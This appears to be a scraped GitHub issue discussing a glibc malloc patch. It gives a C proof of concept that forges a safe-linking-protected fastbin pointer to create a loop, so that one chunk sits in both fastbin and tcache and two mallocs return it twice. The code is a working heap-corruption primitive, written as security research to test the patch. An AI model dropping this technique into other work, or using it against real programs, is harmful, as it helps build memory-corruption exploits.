You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The patch adds a check when moving chunks from fastbin to tcache that the size field in the chunks makes sense.
Even with this patch, you can still pull off a similar attack by making the fastbin into a loop as follows:
#include<stdint.h>#include<stdlib.h>intmain(void) {
void*p[15];
// Make 15 allocationsfor (inti=0; i<15; i++) {
p[i] =malloc(1);
}
// Free them allfor (inti=0; i<15; i++) {
free(p[i]);
}
// tcache: p[6] -> p[5] -> p[4] -> p[3] -> p[2] -> p[1] -> p[0]// fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]// Clear out the tcachefor (inti=0; i<7; i++) {
void*unused=malloc(1);
}
// tcache: (empty)// fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]// Change p[7]'s forward link from PROTECT_PTR(NULL) to PROTECT_PTR(p[13])uint64_t*constp7_chunk= (uint64_t*)p[7] -2;
p7_chunk[2] =
(uintptr_t)(((uint64_t*)p[13]) -2) ^ ((uintptr_t)p7_chunk >> 12);
// tcache: (empty)// +-------------------------------------------------------+// | |// \/ |// fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+// Make a single allocation. This will cause the first 7 entries in the// fastbin to be moved into the tcache. It also reverses their order.void*unused=malloc(1);
// i.e., first// tcache: (empty)// +-------------------------------------------------------+// | |// \/ |// fastbin: p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+// then,// tcache: p[7] -> p[8] -> p[9] -> p[10] -> p[11] -> p[12] -> p[13]// fastbin: p[13]// Because p[13] is last in the tcache list, it gets PROTECT_PTR(NULL)// written into its fd field. This is convenient, because it means that// other than the fact that p[13] is present in both the fastbin and tcache,// the heap is in a *totally valid state*. In other words, the attack cleans// up after itself :)// Clear out the tcache again, except the lastfor (inti=0; i<6; i++) {
void*unused=malloc(1);
}
// tcache: p[13]// fastbin: p[13]// Should get p[13]void*poisoned_1=malloc(1);
// tcache: (empty)// fastbin: p[13]// Should get p[13]void*poisoned_2=malloc(1);
returnpoisoned_1!=poisoned_2;
}
The text was updated successfully, but these errors were encountered:
...because I wrote a patch :)
The patch adds a check when moving chunks from fastbin to tcache that the size field in the chunks makes sense.
Even with this patch, you can still pull off a similar attack by making the fastbin into a loop as follows:
The text was updated successfully, but these errors were encountered: